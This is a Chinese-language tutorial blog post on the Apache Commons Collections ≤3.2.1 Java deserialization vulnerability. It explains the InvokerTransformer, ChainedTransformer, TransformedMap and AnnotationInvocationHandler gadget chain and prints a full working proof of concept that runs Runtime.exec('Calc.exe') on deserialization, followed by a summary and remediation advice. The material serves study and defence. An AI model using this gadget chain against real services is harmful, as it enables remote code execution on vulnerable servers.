Apache Commons Collections 反序列化漏洞


前言

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具 类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。可以在Apache官网下载CC的jar文件和源代码,用于代码审计。

Java集合框架:称为Collection,是Java中存在的一系列操作List、Set和Map的类的集合。Commons Collections扩展了集合框架,增强了很多功能。


一、漏洞爆出

·2015.01.28 Gabriel Lawrence和Chris Frohoff
https://speakerdeck.com/frohoff/appseccali-2015-marshalling-pickles-how-deserializing-objects-can-ruin-your-day
https://github.com/frohoff/ysoserial
·2015.11.06 FoxGlove Security @breenmachine
https://commons.apache.org/proper/commons-collections/release_3_2_2.html
https://issues.apache.org/jira/browse/COLLECTIONS-580

二、复现环境

jdk1.7.0 80
IDEA Project Structrure, Settings–Java
compile等设置成java7
Apache Commons Collections 3.2.1

java集合框架

图片来自马士兵

问题

1、哪里出现了可以执行任意代码的问题?
2、序列化的payload怎么构造?

JVM

Java代码运行原理:
1、源码
2、编译器(javac)编译为字节码.class文件
3、各平台JⅣM解释器把字节码文件转换成操作系统指令(Java能达到跨平台的原因)

反射

在程序运行的时候动态创建一个类的实例,调用实例的方法和访问它的属性
Class —— Instance
Person —— new Person(“laow”)

三、Apache Commons Collections漏洞原理≤3.2.1

CC关键类

○InvokeTransformer
利用Java反射机制来创建类实例
○ChainedTransformer
实现了Transformer链式调用,我们只需要传入一个Transformer数组 ChainedTransformer就可以实现依次的去调用每一个Transformer的transform()方法
○ConstantTransformer
transform()返回构造函数的对象
○TransformedMap

调用链路

图片来自马士兵

POC构造思路

1. InvokeTransformer
反射执行代码
2. ChainedTransformer
链式调用,自动触发
3. ConstantTransformer
获得对象
4. TransformedMap
元素变化执行transform,setValue——checkSetValue
5. AnnotationInvocationHandler
readObject 调用Map的setValue

在这里插入图片描述

InvokeTransformer中有一个transform方法,可以获得一个对象(Class.forName()或input.getClass()两种获得类对象的方法).class,
然后获得对象的方法,调用invoke触发其方法
有了这个方法,我们总不能认为这个方法会自己去跑吧!!!
于是,我们通过invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}
                设置函数名称exec,类型,值   然后
                Object input = Runtime.getRuntime();
                创建外部程序执行命令的方法对象   传给invokerTransformer的transform方法
            	invokerTransformer.transform(input);
            	这个方法就会自动进行如下操作
            						完整的Runtime.getRuntime().exec("./p.exe");实现
            	Class cls = input.getClass();//获取Runtime.getRuntime()对象
            	//获取Runtime.getRuntime()对象的方法(exec,方法类型)
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                通过invoke触发Runtime.getRuntime()对象的所有方法,这里填入的值是Calc.exe
                return method.invoke(input, this.iArgs);
完整代码
public static void main(String[] args) {
        //创建实例传入构造方法参数(函数名 参数类型 参数值)
        InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new String[]{"Calc.exe"}
        );
        try {
            Object input = Runtime.getRuntime();
            invokerTransformer.transform(input);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
到这里,我们自己去写的就可以实现弹出计算器了,但是在实际的攻击中,我们要做到这点,利用现成的方法去做还是比较困难,
所以我们又找到了ChainedTransformer

在这里插入图片描述
我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
通过ConstantTransformer类的transform方法获取一个对象类型,如transform参数是Runtime.class时,调用ConstantTransformer类的transform方法,执行后返回java.lang.Runtime类
可能就会有人要问传入一个Runtime.getRuntime,最后返回这个一个对象,这样有啥意义,自己觉得没啥意义,唯一的意义就是它是Transform的子类,在CC链中很有意义!相当于实现调用invokerTransformer.transform(input);后,会执行的Class cls = input.getClass();
在这里插入图片描述
到这里,就又会有一个问题,chainedTransformer.transform(null);又凭什么能自动执行呢,所以我们又找到了下面的类TransformedMap,那么我们要怎么让他来触发transform,于是找到TransformedMap中的checkSetValue,那么什么时候又会执行checkSetValue呢,所以又找到了TransformedMap的父类AbstractInputCheckedMapDecorator中的setValue
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
那么一个Map的setValue什么时候会触发呢,当其中的元素增加、删除、修改的时候就会调用setValue,所以我们需要找一个对象,他在反序列化的时候,会给一个Map对象赋值,或者调用setValue。
于是我们就找到了AnnotationInvocationHandler,它在反序列化时,调用readObject,他在里面用了Entry(这个实质上就是Map)在其中调用了setValue
在这里插入图片描述
在这里插入图片描述
通过TransformedMap.decorate 返回一个键为null 值为transformedChain的一个TransformedMap,这里的hashmap键值对啥都行,TransformedMap实例化需要,而最终利用的就是这个对象中的entry的setValue方法,通过setValue可以触发Map的checkSetValue,从而触发transform

POC
Transformer[] transforms = new Transformer[]{
        //获得Runtime类对象
        new ConstantTransformer(Runtime.class),
        //传入Runtime类对象,反射执行getMethod获得getRuntime方法
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0]}
        ),
        //传入getRuntime方法,反射执行invoke方法,得到Runtime实列
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, null}),
        //传入Runtime实列 ,执行exec方法
        new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"Calc.exe"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);

Map innermap = new HashMap();
innermap.put("value","value");
Map outermap = TransformedMap.decorate(innermap, null, chainedTransformer);
//构造包含恶意map的AnnotationInvocationHandler对象
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
cst.setAccessible(true);
Object exploitObj = cst.newInstance(Target.class, outermap);

//序列化
FileOutputStream fos = new FileOutputStream("payload.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(exploitObj);
oos.close();

//反序列化
FileInputStream fis = new FileInputStream("payload.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
Object result = ois.readObject();
ois.close();

### Apache Commons Collections 反序列化漏洞概述 Apache Commons CollectionsJava 中广泛使用的第三方库之一,用于提供各种集合操作功能。然而,在版本 ≤3.2.1 的 `org.apache.commons.collections` 包含了一个严重的反序列化漏洞[^1]。 该漏洞允许攻击者通过精心构造的恶意输入数据触发远程代码执行 (RCE),从而完全控制受影响的应用程序服务器。此安全缺陷主要源于某些类实现了 `Serializable` 接口并存在不安全的方法调用路径。 ### 漏洞详情 具体来说,当应用程序尝试反序列化来自不受信任源的数据时,如果这些数据被篡改为特定模式,则可能激活一系列预定义的对象图结构。这种对象图最终会调用到可以执行任意命令的操作上。例如: - 构造链中的关键组件包括但不限于 Transformer 类及其子类。 - 利用了 InvokerTransformer 和 InstantiatorTransformer 这两个类来实现动态方法调用以及实例创建的功能。 - 攻击向量通常涉及利用 ChainedTransformer 或 ConstantTransformer 来构建复杂的转换逻辑链条。 ```java // POC 示例代码片段展示如何构造恶意 payload import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; public class Exploit { public static void main(String[] args) throws Exception{ // 创建一个包含恶意指令的 transformer 链条 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), ... }; Transformer transformerChain = new ChainedTransformer(transformers); } } ``` 上述代码仅作为概念验证用途,并不应在生产环境中运行或测试。 ### 修复方案 为了防止此类攻击的发生,官方建议采取以下措施之一进行防护: - **升级依赖**:尽快将 commons-collections 升级至最新稳定版(>=4.x),因为新版本已经移除了易受攻击的相关特性。 - **禁用不必要的功能**:对于无法立即更新的情况,可以通过配置应用防火墙或其他手段阻止外部传入未经处理过的字节流进入 JVM 内部解析流程。 - **采用白名单机制**:只允许已知的安全类型参与序列化/反序列化进程,拒绝一切未知类型的加载请求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Whoam_laowei

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值